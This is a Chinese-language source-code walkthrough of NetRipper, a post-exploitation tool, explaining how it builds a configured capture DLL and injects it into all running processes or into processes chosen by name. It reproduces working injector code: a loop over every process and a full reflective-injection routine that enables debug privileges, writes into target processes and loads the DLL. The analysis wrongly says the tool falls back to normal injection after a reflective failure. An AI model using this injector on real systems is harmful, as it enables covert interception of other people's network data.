NetRipper:

  1. 主函数
  • int _tmain(int argc,char* argv[]) 是主函数。函数先读取输入参数,如果参数只有一个就PrintHelp(),如果参数个数等于3,则解析参数,如果参数不是以’-‘开头,则inject DLL,第二个参数是DLL的地址,第三个参数是process名,并:
cout << "Trying to inject " << sDLL << " in " << sProcess << endl;

if(sProcess.compare("ALL") == 0)
    InjectAll(sDLL, TRUE);
else
    InjectAllByName(sDLL, sProcess, TRUE);
  • 除了参数是一个或者三个,则继续执行后面代码,此时应当是生成新的NewDLL.dll,此处为了生成新的DLL,parse了以下参数“sDLL,sLocation,sPlian,sLimit,sFinder”,并将其拼接成一个字符串:
string sFinalData = "plaintext=" + sPlain + ";datalimit=" + sLimit + ";stringfinder=" + sFinder + ";"+ "data_path=" + sLocation + ";";

随后输出提示信息:

if(ReplaceData(sDLL, GenerateData(sFinalData)) == true)
    cout << endl << "DLL succesfully created: " << TEMP_DLL_FILE << endl;
else 
    cout << endl << "Cannot create DLL " << TEMP_DLL_FILE << endl;

而其中的GenerateData()以及ReplaceData()应当就是用sFileData替换之前DLL中的某些参数,生成新的Dll。

  1. Inject
  • 上面介绍的都是参数的parse以及根据参数生成新的DLL的过程,而当NetRipper.exe真正运行的时候主要是实现Inject
cout << "Trying to inject " << sDLL << " in " << sProcess << endl;

if(sProcess.compare("ALL") == 0)
    InjectAll(sDLL, TRUE);
else
    InjectAllByName(sDLL, sProcess, TRUE);

InjectAll传入的连个参数第一个是所使用的DLL的路径,第二个参数是标识是使用Reflective注入还是Normal注入,代码如下:

void InjectAll(string p_sDLLName, BOOL p_bReflectiveInject)
{
    vector<PROCESSENTRY32> vProcesses = GetProcesses();

    // Check all processes

    for(size_t i = 0; i < vProcesses.size(); i++)
    {
        if(p_bReflectiveInject)
        {
            if(ReflectiveInject(p_sDLLName, vProcesses[i].th32ProcessID) == TRUE)
                cout << "Reflective injected in: " << vProcesses[i].th32ProcessID << endl;
        }
        else
        {
            if(NormalInject(p_sDLLName, vProcesses[i].th32ProcessID) == TRUE) 
                cout << "Injected in: " << vProcesses[i].th32ProcessID << endl;
        }
    }
}
  • 先利用GetProcess()得到进程列表,随后调用ReflectiveInject()进行注入,若失败则进行NormalInject()注入。
  • GetProcesses()函数是获取进程列表,利用API函数CreateToolhelp32Snapshot()获取一个hSnapshot HANDLE,随后通过Process32Next(hSnapshot,&hProcess)循环获取进程,将得到的每个进程通过push__back添加到vProcesses中,已得到进程列表。
  • NormalInject()函数是使用一般的DLL注入方法,大概原理是:在当前进程a中开启一个远程线程(利用CreateRemoteThread()创建,注意这里创建的是另外一个进程b的线程)来调用LoadLibraryA()函数,将DLL路径字符串指针作为参数,利用LoadLibraryA()函数载入DLL(在调用此函数时利用GetProcAddress()获取LoadLibraryA()函数的内存地址)。
  • ReflectiveInject()函数是利用反射DLL注入。因为Normalinject需要进程a来去开启一个进程b中的一个县城来调用LoadLibraryA(),实际测试场景中可能并没有进程a,于是就有了反射DLL注入,具体讲解参考这篇文章。大概是直接将DLL读入内存,通过 LoadRemoteLibraryR()加载DLL,代码如下:
BOOL ReflectiveInject(string p_sDLLName, DWORD p_dwID)
{
    HANDLE hFile          = NULL;
    HANDLE hModule        = NULL;
    HANDLE hProcess       = NULL;
    HANDLE hToken         = NULL;
    LPVOID lpBuffer       = NULL;
    DWORD dwLength        = 0;
    DWORD dwBytesRead     = 0;
    TOKEN_PRIVILEGES priv = {0};
    BOOL bResult          = TRUE;
    BOOL bIs32Bit         = FALSE;

    do
    {
        // Open DLL for read

        hFile = CreateFileA( p_sDLLName.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );

        if( hFile == INVALID_HANDLE_VALUE )
        {
            cout << "Cannot read DLL file: " << p_sDLLName << endl;
            bResult = FALSE; break;
        }

        // Get DLL size

        dwLength = GetFileSize( hFile, NULL );

        if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
        {
            cout << "Failed to get the DLL file size" << endl;
            bResult = FALSE; break;
        }

        // Allocate space for DLL

        lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );

        if( !lpBuffer )
        {
            cout << "Failed to get the DLL file size" << endl;
            bResult = FALSE; break;
        }

        // Read DLL

        if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
        {
            cout << "Failed to alloc a buffer!" << endl;
            bResult = FALSE; break;
        }

        // Adjust privileges

        if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
        {
            priv.PrivilegeCount           = 1;
            priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

            if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
                AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

            CloseHandle( hToken );
        }

        // Open target process

        hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, p_dwID );

        if( !hProcess )
        {
            cout << "Failed to open the target process" << endl;
            bResult = FALSE; break;
        }

        // Check if Windows is 64 bit

        if(IsWindows64())
        {
            // Check if process is 32 bit

            bResult = IsWow64Process(hProcess, &bIs32Bit);

            if(bResult == 0)
            {
                cout << "Error: Cannot verify if process " << p_dwID << " is 32 bit!" << endl;
                bResult = FALSE; break;
            }

            if(!bIs32Bit)
            {
                cout << "Error: Process " << p_dwID << " is NOT 32 bit!" << endl;
                bResult = FALSE; break;
            }
        }

        // Inject reflective DLL

        hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );

        if( !hModule )
        {
            cout << "Failed to inject the DLL in process: "<< p_dwID << endl;
            bResult = FALSE; break;
        }

        WaitForSingleObject( hModule, -1 );

    } while(0);

    // Cleanup

    if( hFile )
        CloseHandle( hFile );

    if( lpBuffer )
        HeapFree( GetProcessHeap(), 0, lpBuffer );

    if( hProcess )
        CloseHandle( hProcess );

    return bResult;
}
  • 另外在Inject时,会有一个判断,是调用injectAllByname()还是InjectAll(),这个看函数名就知道是在干嘛了吧,其内部的逻辑都是利用上面所说的NormalInject或者ReflectiveInjective。